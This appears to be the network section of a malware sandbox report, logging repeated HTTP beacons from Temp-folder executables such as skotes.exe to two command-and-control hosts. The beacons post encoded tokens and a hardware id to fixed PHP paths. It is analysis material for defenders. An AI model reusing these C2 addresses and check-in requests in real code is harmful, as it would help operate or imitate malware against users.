19	192.168.2.8	49767	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:39.948992014 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:40.678730965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49778	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:42.579457045 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:43.286098003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49789	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:44.868432999 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:45.562513113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49793	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:47.278825998 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:48.022161961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49795	185.215.113.37	80	1372	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:47.809523106 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:02:48.518663883 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:02:48.527079105 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="hwid"9567758546661964116302------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build"save------HDHJEBFBFHJECAKFCAAK--
Sep 29, 2024 01:02:48.757180929 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49797	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:49.549953938 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:50.283088923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49801	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:52.249141932 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:52.978130102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49803	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:54.494690895 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:55.200481892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49804	185.215.113.37	80	3372	C:\Users\user\1000026002\cee706a53f.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:55.606322050 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:02:56.304117918 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:02:56.306915998 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="hwid"9567758546661964116302------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="build"save------KEHJKJDGCGDAKFHIDBGC--
Sep 29, 2024 01:02:56.532269001 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49805	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:56.825546026 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:57.540358067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49806	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:59.059171915 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:59.765206099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49807	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:01.384352922 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:03:02.091289043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49808	185.215.113.37	80	7940	C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:02.225781918 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:03:02.936381102 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:03:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:03:02.938967943 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="hwid"9567758546661964116302------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="build"save------IIEBGIDAAFHIJJJJEGCG--
Sep 29, 2024 01:03:03.167149067 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:03:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49809	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:03.607966900 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:03:04.348133087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49810	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:05.976056099 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:03:06.717067003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49811	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:08.230108023 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:03:08.942163944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49812	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:10.577496052 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:03:11.268052101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49813	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:12.781534910 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:03:13.487179041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49816	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:15.115138054 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:03:15.440591097 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:03:16.144583941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49818	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:03:17.700813055 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
